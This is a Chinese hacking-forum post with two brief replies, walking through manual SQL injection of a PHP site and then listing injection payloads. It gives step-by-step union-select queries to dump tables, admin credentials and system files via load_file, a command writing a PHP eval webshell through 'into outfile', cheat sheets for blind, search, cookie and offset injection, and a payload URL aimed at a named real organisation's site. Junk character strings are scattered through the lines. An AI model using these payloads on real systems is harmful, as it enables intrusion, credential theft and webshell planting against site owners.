找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2985|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
# \' o1 b$ o& u6 w( Q+ J让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
# `0 {; n6 i: g我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。) H8 L4 y( q8 C6 r+ g1 H3 l
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)- e% k" Q. M6 c' @, o# E0 l
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
; f/ X9 |  t) |1 l9 @- g0 E这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:# g$ q+ V/ l! `6 ?
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in5 b0 z* l: N' p' J, y
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
. a) B9 c6 z1 D( h1 Q                        
; ^9 c: z9 h# T+ d! i2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
+ ]$ l: ?9 f! X2 q2 H+ U  e3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意& F( l* q7 E0 P* z, Q3 C$ l
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息% O! N6 z) p& m4 q  U. D
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。8 W' D8 V2 _  r  P+ t8 e# @# r6 n
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
: R) X% u: R+ a$ h# n% M2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
' z; K- P0 A* X& j' w: J我就用的是第二个思路,2 ^$ d& _/ _' F5 A0 X
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
/ T0 s, |/ V- p" U2 q6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
( a) T6 s6 u$ O2 s* B" P/ w提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--  C- q7 L( Y  y4 v8 r
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。1 [1 G" X2 Z- @. @4 Y+ j
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
' r1 j/ O# @3 Y) V是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....8 i: u5 H: p4 S9 h) q
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --- W  Y" H, m4 |9 k
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
- f3 V- v6 U, O! D调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
$ H1 X1 H; \: @! q下面是一些很普遍注入方式资料:
: Z1 S! {1 e6 O& S注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='/ \" D2 z7 u; I0 D% D4 \; T1 f$ x
拆半法  w$ y8 Y  U/ v- n
######################################; G3 A/ F% s/ }! e/ b7 U/ V
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
  d3 _0 |# |  S7 w4 C5 Zand exists (select * from admin)* T4 l$ W$ i6 S$ r
and exists(select id from admin)
5 m1 q( a  h$ u, e% Hand exists(select id from admin where id=1): K* l7 G9 R  o0 V/ G. w4 F% Z
and exists(select id from admin where id>1)
% }9 F6 g7 d; ]) C2 I. I- D然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 : a% ~" l( _; [5 p5 K
and exists (select username from admin)
4 e# Q) `4 k. o$ d4 d1 band exists (select password from admin)5 G) s6 X# S% f+ J8 R2 |0 L2 o
and exists (select id from admin where len(username)<10 and id=1)
, m4 y0 {) m# g+ F$ R& o2 Nand exists (select id from admin where len(username)>5 and id=1)  V; i  o( o, z  O
and exists (select id from admin where len(username)=6 and id=1)
' ^5 ~9 [- L* [and exists (select id from admin where len(password)<10 and id=1)  K+ `! M9 F" R( |
and exists (select id from admin where len(password)>5 and id=1)
/ F5 ^7 j4 `) O# i1 b8 hand exists (select id from admin where len(password)=7 and id=1)1 ]' s6 i' |- X9 j
and (select top 1 asc(mid(username,1,1)) from admin)=972 l- b+ q  l% ]$ t& l0 x5 S
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
5 r) u( |( J+ U% ~猜第二位把username,1,1改成username,2,1就可以了。
; l" \8 u$ _7 a4 P% [1 E猜密码把username改成password就OK了
, y; l% B, a% |8 V##################################################- k- v$ r3 N( v- Q: h  v/ ~
搜索型注入; c- `# x5 U4 O4 h. {
##################################8 h' x% J4 v- M# v5 `, l+ C; D; a
%' and 1=1 and '%'='# Q5 p# r4 @" U9 ~3 P2 b9 ?
%' and exists (select * from admin) and '%'='
2 ~& \) O* ]% q# b, b/ J%' and exists(select id from admin where id=1) and '%'='. X% _5 ^9 c: v& h  N0 x
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
9 c! V" H- E# Q" j  n%' and exists (select id from admin where len(password)=7 and id=1) and '%'='/ g: x9 R8 |0 z+ P
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='5 T- J5 h( o$ `) Q# c
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='  N; K+ j1 Q- z) W5 G) u: ]
对于MSSQL数据库,后面可以吧 and '%'='换成--% w6 ~; c6 N; e7 {) e; z3 b
还有一点搜索型注入也可以使用union语句。$ ]' n8 }6 c9 H6 h* l: h
########################################################
9 K# K9 w5 r2 j/ p, ?' X6 `1 M联合查询。
( X) c) u0 h8 E$ E- d5 E: ~#####################################* P4 O. _8 Z. u* x7 O" j
order by 104 U# S' T8 m; t6 D1 b
and 1=2 union select 1,2,3,4,5,6,7,8,9,10" l$ _; _- M9 B1 o- I0 }( I
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin, c. ~9 v8 T) m; r- Q2 ?
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
" l6 F5 }! @/ n! V, Q0 r5 M* c很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)/ K8 S0 _1 Z5 f0 F# K* e+ L
###################################
: H8 C+ S$ l- K- x5 }cookie注入; `  b4 ]2 Z$ A4 J& z+ Q% L* g
###############################( q$ B# j# e$ M- z
http://www.******.com/shownews.asp?id=127# U! R9 @4 _6 N% c( z
http://www.******.com/shownews.asp
+ o" N9 X" `9 G0 p. Ralert(="id="+escape("127"));
, m7 a/ z$ j) i! L. q$ r" o2 T) Halert(="id="+escape("127 and 1=1"));3 A3 [% u8 G/ w+ p
alert(="id="+escape("127 order by 10"));
; G7 i+ d* C, @alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
4 ~4 O! Q6 s3 u2 X6 ]) Talert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));2 r4 O( ?2 p& B; ]; `8 ]
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。. X$ f7 L# C  c& F$ |
###################################
5 a, Z6 n, j  j( o偏移注入
) p# p+ ^' p- _2 V. D# h###########################################################& W, V% X  E: c8 g1 T( v, r
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin2 s& w* o% e# W3 a; R
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
* g/ i/ r( B5 o& v- o4 S& wunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)$ i% s' \! o" q  u2 ?) @
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)4 G2 l9 N6 ^5 `
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
8 A+ L2 `  p5 y9 C( E* xunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
/ J' l* A" O! }union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
# E) F' m) G) r9 @$ S+ N5 s4 Za.id=d.id)
3 l; P3 n% Z$ ?* B. i6 Mand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
  J% i$ u6 f0 M  o' p6 Cand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) - F6 R& C$ h# C+ [. K
  ; R8 X/ h7 \0 g6 @. d! J: s
============================================================================================================
  a$ N: X. y0 \/ \1.判断版本/ h3 ]6 x0 Z. Z1 C+ ~- s9 }$ H
and ord(mid(version(),1,1))>51
& O' ~7 `+ K/ G返回正常,说明大于4.0版本,支持ounion查询7 q, w7 N1 p! O7 H3 J: A
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
0 O2 A; q0 J  r$ U3 fand 2=4 union select 1,2,3,4,5,6,7,8,9--% S0 Q4 W& I2 {* I$ K5 N
3.查看数据库版本及当前用户,
0 p; s- d4 F! z1 i7 v7 w* vand 2=4 union select 1,user(),version(),4,5,6,7,8,9--  Z* Y8 S* n3 X* K6 o6 D# D" u
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
& u; P0 x, C4 N& k6 L1 F- |# I4.判断有没有写权限
# V5 P- F2 K# @% k9 U# s6 rand (select count(*) from MySQL.user)>0-- 5 B! x. D' N2 X4 |6 W
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
5 n# w( a% G% `6 z) t+ `( T用不了这个命令,就学习土耳其黑客手法,如下5 G/ |8 u/ a' F7 V. S  k. n" [7 T/ R7 M
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
9 ^* I" g3 j* r8 h9 h6.爆表,爆库
) I# r! Z4 K" z) [: Eand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--* L. w/ B* Z5 h! c. C! R. p
7.爆列名,爆表8 B( O) H0 Q+ c8 K$ w/ R
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--  C( `# w8 D9 C
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。% a( }& I/ H; `5 p" t6 z% z
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
1 u# |* l# d9 U$ ?9.爆字段内容
( ?6 Y4 w2 N4 S/ p1 ^+ c4 W1 Fand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--, u" t6 t  P/ l. p9 g& L& T- a
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表